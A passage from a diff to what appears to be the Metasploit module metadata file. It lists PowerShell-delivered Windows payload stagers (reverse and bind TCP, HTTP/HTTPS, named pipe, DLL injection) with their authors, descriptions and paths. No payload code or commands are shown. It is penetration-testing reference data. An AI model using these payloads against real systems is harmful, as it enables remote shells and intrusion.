"description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/find_tag": { + "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/custom/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_hop_http": { + "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "scriptjunkie ", + "bannedit ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_hop_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_http": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_https": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_https_proxy": { + "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", + "fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "corelanc0d3r ", + "amaloteaux " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_https_proxy", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker over IPv6", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "spoonm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { + "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_udp": { + "name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/custom/reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "RageLtMan " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_winhttp": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/reverse_winhttps": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/dllinject/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + 